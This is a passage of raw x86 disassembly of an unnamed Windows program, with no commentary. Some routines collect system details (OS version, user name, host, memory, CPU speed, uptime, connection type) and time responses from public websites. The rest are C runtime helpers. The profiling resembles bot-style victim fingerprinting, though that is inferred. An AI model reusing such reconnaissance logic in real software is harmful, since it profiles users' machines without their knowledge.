		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_416E77
		push	[ebp+eax*4+var_3C]
		call	sub_416E91
		push	8
		mov	esi, eax
		call	sub_416E77
		push	[ebp+eax*4+var_3C]
		call	sub_416E91
		add	esp, 10h
		test	esi, esi
		jz	short loc_41716D
		test	eax, eax
		jz	short loc_417169
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41716F
; ---------------------------------------------------------------------------


loc_417169:				; CODE XREF: sub_41706C+F4j
		mov	ebx, esi
		jmp	short loc_41716F
; ---------------------------------------------------------------------------


loc_41716D:				; CODE XREF: sub_41706C+F0j
		mov	ebx, eax


loc_41716F:				; CODE XREF: sub_41706C+FBj
					; sub_41706C+FFj
		push	0Ch
		call	sub_416E77
		push	[ebp+eax*4+var_6C]
		call	sub_416E91
		push	0Ch
		mov	edi, eax
		call	sub_416E77
		push	[ebp+eax*4+var_6C]
		call	sub_416E91
		add	esp, 10h
		test	edi, edi
		jz	short loc_4171A7
		test	eax, eax
		jz	short loc_4171A3
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_4171A9
; ---------------------------------------------------------------------------


loc_4171A3:				; CODE XREF: sub_41706C+12Ej
		mov	esi, edi
		jmp	short loc_4171A9
; ---------------------------------------------------------------------------


loc_4171A7:				; CODE XREF: sub_41706C+12Aj
		mov	esi, eax


loc_4171A9:				; CODE XREF: sub_41706C+135j
					; sub_41706C+139j
		push	6
		call	sub_416E77
		push	[ebp+eax*4+var_1C]
		call	sub_416E91
		push	6
		mov	edi, eax
		call	sub_416E77
		push	[ebp+eax*4+var_1C]
		call	sub_416E91
		add	esp, 10h
		test	edi, edi
		jz	short loc_4171E1
		test	eax, eax
		jz	short loc_4171DD
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_4171E3
; ---------------------------------------------------------------------------


loc_4171DD:				; CODE XREF: sub_41706C+168j
		mov	ecx, edi
		jmp	short loc_4171E3
; ---------------------------------------------------------------------------


loc_4171E1:				; CODE XREF: sub_41706C+164j
		mov	ecx, eax


loc_4171E3:				; CODE XREF: sub_41706C+16Fj
					; sub_41706C+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_4171F0
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_4171F3
; ---------------------------------------------------------------------------


loc_4171F0:				; CODE XREF: sub_41706C+17Bj
		push	2
		pop	edi


loc_4171F3:				; CODE XREF: sub_41706C+182j
		test	esi, esi
		jz	short loc_4171FB
		add	eax, esi
		jmp	short loc_4171FC
; ---------------------------------------------------------------------------


loc_4171FB:				; CODE XREF: sub_41706C+189j
		dec	edi


loc_4171FC:				; CODE XREF: sub_41706C+18Dj
		test	ecx, ecx
		jz	short loc_417204
		add	eax, ecx
		jmp	short loc_417205
; ---------------------------------------------------------------------------


loc_417204:				; CODE XREF: sub_41706C+192j
		dec	edi


loc_417205:				; CODE XREF: sub_41706C+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_43A7AC
		push	eax
		call	sub_417D96
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_413B5E
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41706C	endp


; =============== S U B	R O U T	I N E =======================================



sub_417249	proc near		; CODE XREF: sub_401AC7+20F0p
					; sub_401AC7+2574p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	dword_4230A8	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4D8698
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_417E90
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_417249	endp


; =============== S U B	R O U T	I N E =======================================



sub_4172B2	proc near		; CODE XREF: sub_417368+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_4172BA:				; CODE XREF: sub_4172B2+2Fj
					; sub_4172B2+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		call	dword_423078	; Sleep
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_419800
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_4172BA
		jb	short loc_4172E9
		cmp	ebx, esi
		ja	short loc_4172BA


loc_4172E9:				; CODE XREF: sub_4172B2+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_419870
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41735C
		jb	short loc_417308
		cmp	esi, 50h
		jnb	short loc_41730D


loc_417308:				; CODE XREF: sub_4172B2+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_41730D:				; CODE XREF: sub_4172B2+54j
		test	ecx, ecx
		ja	short loc_41735C
		jb	short loc_417318
		cmp	esi, 47h
		jnb	short loc_41731D


loc_417318:				; CODE XREF: sub_4172B2+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_41731D:				; CODE XREF: sub_4172B2+64j
		test	ecx, ecx
		ja	short loc_41735C
		jb	short loc_417328
		cmp	esi, 37h
		jnb	short loc_41732D


loc_417328:				; CODE XREF: sub_4172B2+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_41732D:				; CODE XREF: sub_4172B2+74j
		test	ecx, ecx
		ja	short loc_41735C
		jb	short loc_417338
		cmp	esi, 26h
		jnb	short loc_41733D


loc_417338:				; CODE XREF: sub_4172B2+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_41733D:				; CODE XREF: sub_4172B2+84j
		test	ecx, ecx
		ja	short loc_41735C
		jb	short loc_417348
		cmp	esi, 1Eh
		jnb	short loc_41734D


loc_417348:				; CODE XREF: sub_4172B2+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_41734D:				; CODE XREF: sub_4172B2+94j
		test	ecx, ecx
		ja	short loc_41735C
		jb	short loc_417358
		cmp	esi, 0Ah
		jnb	short loc_41735C


loc_417358:				; CODE XREF: sub_4172B2+9Fj
		xor	eax, eax
		xor	edx, edx


loc_41735C:				; CODE XREF: sub_4172B2+4Dj
					; sub_4172B2+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4172B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417368	proc near		; CODE XREF: sub_401AC7+22C6p

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_43B9B8
		mov	[ebp+var_CC], 94h
		call	dword_4230C8	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_4173EF
		cmp	[ebp+var_C4], ebx
		jnz	short loc_4173CB
		cmp	[ebp+var_BC], 1
		jnz	short loc_4173B5
		mov	[ebp+var_4], offset dword_4336F0


loc_4173B5:				; CODE XREF: sub_417368+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41746A
		mov	[ebp+var_4], offset dword_4336EC
		jmp	short loc_41743B
; ---------------------------------------------------------------------------


loc_4173CB:				; CODE XREF: sub_417368+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_4173DD
		mov	[ebp+var_4], offset dword_4336E8
		jmp	short loc_417432
; ---------------------------------------------------------------------------


loc_4173DD:				; CODE XREF: sub_417368+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41742B
		mov	[ebp+var_4], offset dword_4336E4
		jmp	short loc_417432
; ---------------------------------------------------------------------------


loc_4173EF:				; CODE XREF: sub_417368+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41742B
		cmp	[ebp+var_C4], ebx
		jnz	short loc_417409
		mov	[ebp+var_4], offset dword_4336E0
		jmp	short loc_417432
; ---------------------------------------------------------------------------


loc_417409:				; CODE XREF: sub_417368+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41741B
		mov	[ebp+var_4], offset aXp	; "XP"
		jmp	short loc_417432
; ---------------------------------------------------------------------------


loc_41741B:				; CODE XREF: sub_417368+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_417432


loc_41742B:				; CODE XREF: sub_417368+7Cj
					; sub_417368+8Ej
		mov	[ebp+var_4], offset dword_4336D8


loc_417432:				; CODE XREF: sub_417368+73j
					; sub_417368+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41746A


loc_41743B:				; CODE XREF: sub_417368+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41746A
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset aSS_2	; "%s (%s)"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_41746A:				; CODE XREF: sub_417368+54j
					; sub_417368+D1j ...
		mov	ax, word_438908
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4C96EC
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_4174A3
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax	; GetUserNameA


loc_4174A3:				; CODE XREF: sub_417368+12Cj
		push	[ebp+arg_4]
		call	sub_409D1D
		pop	ecx
		push	eax
		call	dword_4C9838	; inet_addr
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4C97B8	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_4174CC
		push	dword ptr [eax]
		jmp	short loc_4174D1
; ---------------------------------------------------------------------------


loc_4174CC:				; CODE XREF: sub_417368+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_4174D1:				; CODE XREF: sub_417368+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_417D96
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	dword_423074	; GetSystemDirectoryA
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43AAA0
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	dword_423104	; GetDateFormatA
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	dword_423100	; GetTimeFormatA
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		call	dword_423174	; GlobalMemoryStatus
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_417EE1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_41455C
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_417249
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_409D1D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_41444C
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_41444C
		pop	ecx
		pop	ecx
		push	eax
		call	sub_4172B2
		push	edx
		push	eax
		push	offset dword_43A9C4
		push	200h
		push	[ebp+arg_0]
		call	sub_417E90
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417368	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41761C	proc near		; CODE XREF: sub_401AC7+22F4p
					; sub_401AC7+68C7p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		cmp	dword_4C98E0, 0
		jnz	short loc_417690
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4C96D4	; InternetGetConnectedStateEx
		test	eax, eax
		jnz	short loc_417671
		lea	eax, [ebp+var_8C]
		push	offset dword_43AB20
		push	eax
		call	sub_417D96
		pop	ecx
		pop	ecx


loc_417671:				; CODE XREF: sub_41761C+40j
		test	[ebp+var_C], 1
		jz	short loc_417689
		push	offset dword_43AB18


loc_41767C:				; CODE XREF: sub_41761C+72j
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_417D96
		pop	ecx
		pop	ecx
		jmp	short loc_4176AF
; ---------------------------------------------------------------------------


loc_417689:				; CODE XREF: sub_41761C+59j
		push	offset off_43AB14
		jmp	short loc_41767C
; ---------------------------------------------------------------------------


loc_417690:				; CODE XREF: sub_41761C+28j
		mov	esi, offset off_43AB10
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		call	sub_417D96
		add	esp, 10h


loc_4176AF:				; CODE XREF: sub_41761C+6Bj
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_409D1D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43AACC
		push	200h
		push	[ebp+arg_0]
		call	sub_417E90
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41761C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4176F0	proc near		; CODE XREF: start+19p	sub_401221+14Ap ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_417710


loc_4176FC:				; CODE XREF: sub_4176F0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_417743
		test	ecx, 3
		jnz	short loc_4176FC
		add	eax, 0


loc_417710:				; CODE XREF: sub_4176F0+Aj
					; sub_4176F0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_417710
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_417761
		test	ah, ah
		jz	short loc_417757
		test	eax, 0FF0000h
		jz	short loc_41774D
		test	eax, 0FF000000h
		jz	short loc_417743
		jmp	short loc_417710
; ---------------------------------------------------------------------------


loc_417743:				; CODE XREF: sub_4176F0+11j
					; sub_4176F0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41774D:				; CODE XREF: sub_4176F0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_417757:				; CODE XREF: sub_4176F0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_417761:				; CODE XREF: sub_4176F0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_4176F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41776B	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401AC7+5012p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_417780
		or	eax, 0FFFFFFFFh
		jmp	short loc_4177BA
; ---------------------------------------------------------------------------


loc_417780:				; CODE XREF: sub_41776B+Ej
		test	al, 83h
		jz	short loc_4177B8
		push	esi
		call	sub_419EDB
		push	esi
		mov	edi, eax
		call	sub_419E75
		push	dword ptr [esi+10h]
		call	sub_419DC2
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_4177A6
		or	edi, 0FFFFFFFFh
		jmp	short loc_4177B8
; ---------------------------------------------------------------------------


loc_4177A6:				; CODE XREF: sub_41776B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_4177B8
		push	eax
		call	sub_4177C1
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_4177B8:				; CODE XREF: sub_41776B+17j
					; sub_41776B+39j ...
		mov	eax, edi


loc_4177BA:				; CODE XREF: sub_41776B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41776B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4177C1	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_409C3F+B1p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_4177EE
		push	esi
		call	sub_41A027
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_4177E0
		push	eax
		call	sub_41A052
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4177E0:				; CODE XREF: sub_4177C1+13j
		push	0
		push	dword_4D9D60
		call	dword_423178	; RtlFreeHeap


loc_4177EE:				; CODE XREF: sub_4177C1+7j
		pop	esi
		retn
sub_4177C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177F0	proc near		; CODE XREF: sub_4010AB+45p
					; sub_40E142+4Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_417814
		xor	eax, eax
		jmp	loc_4178BD
; ---------------------------------------------------------------------------


loc_417814:				; CODE XREF: sub_4177F0+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_417827
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_417833
; ---------------------------------------------------------------------------


loc_417827:				; CODE XREF: sub_4177F0+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_417833
; ---------------------------------------------------------------------------


loc_417830:				; CODE XREF: sub_4177F0+C4j
		mov	ecx, [ebp+arg_0]


loc_417833:				; CODE XREF: sub_4177F0+35j
					; sub_4177F0+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_417865
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_417865
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41784A
		mov	edi, eax


loc_41784A:				; CODE XREF: sub_4177F0+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_418810
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_4178B0
; ---------------------------------------------------------------------------


loc_417865:				; CODE XREF: sub_4177F0+49j
					; sub_4177F0+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_417898
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41787B
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_41787B:				; CODE XREF: sub_4177F0+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41AC01
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4178C2
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4178C8
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_4178B0
; ---------------------------------------------------------------------------


loc_417898:				; CODE XREF: sub_4177F0+78j
		push	esi
		call	sub_41AB28
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4178CC
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_4178B0:				; CODE XREF: sub_4177F0+73j
					; sub_4177F0+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_417830
		mov	eax, [ebp+arg_8]


loc_4178BD:				; CODE XREF: sub_4177F0+1Fj
					; sub_4177F0+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4178C2:				; CODE XREF: sub_4177F0+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_4178CC
; ---------------------------------------------------------------------------


loc_4178C8:				; CODE XREF: sub_4177F0+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_4178CC:				; CODE XREF: sub_4177F0+B2j
					; sub_4177F0+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_4178BD
sub_4177F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4178D8	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_4194D3+35p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		push	esi
		test	ebx, ebx
		push	edi
		jnz	short loc_4178F3
		push	[esp+10h+arg_4]
		call	sub_417A2B
		pop	ecx
		jmp	loc_4179F3
; ---------------------------------------------------------------------------


loc_4178F3:				; CODE XREF: sub_4178D8+Aj
		mov	esi, [esp+10h+arg_4]
		test	esi, esi
		jnz	short loc_417909
		push	ebx
		call	sub_4177C1
		pop	ecx


loc_417902:				; CODE XREF: sub_4178D8+114j
		xor	eax, eax
		jmp	loc_4179F3
; ---------------------------------------------------------------------------


loc_417909:				; CODE XREF: sub_4178D8+21j
					; sub_4178D8+10Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_4179D4
		push	ebx
		call	sub_41A027
		mov	ebp, eax
		pop	ecx
		test	ebp, ebp
		jz	loc_4179B1
		cmp	esi, dword_43AB7C
		ja	short loc_417971
		push	esi
		push	ebx
		push	ebp
		call	sub_41A832
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_417940
		mov	edi, ebx
		jmp	short loc_417969
; ---------------------------------------------------------------------------


loc_417940:				; CODE XREF: sub_4178D8+62j
		push	esi
		call	sub_41A37D
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_417971
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_417957
		mov	eax, esi


loc_417957:				; CODE XREF: sub_4178D8+7Bj
		push	eax
		push	ebx
		push	edi
		call	sub_418810
		push	ebx
		push	ebp
		call	sub_41A052
		add	esp, 14h


loc_417969:				; CODE XREF: sub_4178D8+66j
		test	edi, edi
		jnz	loc_4179F1


loc_417971:				; CODE XREF: sub_4178D8+53j
					; sub_4178D8+73j
		test	esi, esi
		jnz	short loc_417978
		push	1
		pop	esi


loc_417978:				; CODE XREF: sub_4178D8+9Bj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4D9D60
		call	dword_423180	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_4179D4
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41799D
		mov	eax, esi


loc_41799D:				; CODE XREF: sub_4178D8+C1j
		push	eax
		push	ebx
		push	edi
		call	sub_418810
		push	ebx
		push	ebp
		call	sub_41A052
		add	esp, 14h
		jmp	short loc_4179D0
; ---------------------------------------------------------------------------


loc_4179B1:				; CODE XREF: sub_4178D8+47j
		test	esi, esi
		jnz	short loc_4179B8
		push	1
		pop	esi


loc_4179B8:				; CODE XREF: sub_4178D8+DBj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	ebx
		push	0
		push	dword_4D9D60
		call	dword_42317C	; RtlReAllocateHeap
		mov	edi, eax


loc_4179D0:				; CODE XREF: sub_4178D8+D7j
		test	edi, edi
		jnz	short loc_4179F1


loc_4179D4:				; CODE XREF: sub_4178D8+36j
					; sub_4178D8+B9j
		cmp	dword_4D8750, 0
		jz	short loc_4179F1
		push	esi
		call	sub_41ADF7
		test	eax, eax
		pop	ecx
		jnz	loc_417909
		jmp	loc_417902
; ---------------------------------------------------------------------------


loc_4179F1:				; CODE XREF: sub_4178D8+93j
					; sub_4178D8+FAj ...
		mov	eax, edi


loc_4179F3:				; CODE XREF: sub_4178D8+16j
					; sub_4178D8+2Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4178D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4179F8	proc near		; CODE XREF: sub_417A18+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41AF82
		test	eax, eax
		jnz	short loc_417A02
		retn
; ---------------------------------------------------------------------------


loc_417A02:				; CODE XREF: sub_4179F8+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41AE12
		add	esp, 10h
		retn
sub_4179F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_417A18	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401AC7+4FE6p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4179F8
		add	esp, 0Ch
		retn
sub_417A18	endp


; =============== S U B	R O U T	I N E =======================================



sub_417A2B	proc near		; CODE XREF: sub_4010AB+6p
					; sub_409C3F+63p ...

arg_0		= dword	ptr  4

		push	dword_4D8750
		push	[esp+4+arg_0]
		call	sub_417A3D
		pop	ecx
		pop	ecx
		retn
sub_417A2B	endp


; =============== S U B	R O U T	I N E =======================================



sub_417A3D	proc near		; CODE XREF: sub_417A2B+Ap
					; sub_4194C5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_417A66


loc_417A44:				; CODE XREF: sub_417A3D+27j
		push	[esp+arg_0]
		call	sub_417A69
		test	eax, eax
		pop	ecx
		jnz	short locret_417A68
		cmp	[esp+arg_4], eax
		jz	short locret_417A68
		push	[esp+arg_0]
		call	sub_41ADF7
		test	eax, eax
		pop	ecx
		jnz	short loc_417A44


loc_417A66:				; CODE XREF: sub_417A3D+5j
		xor	eax, eax

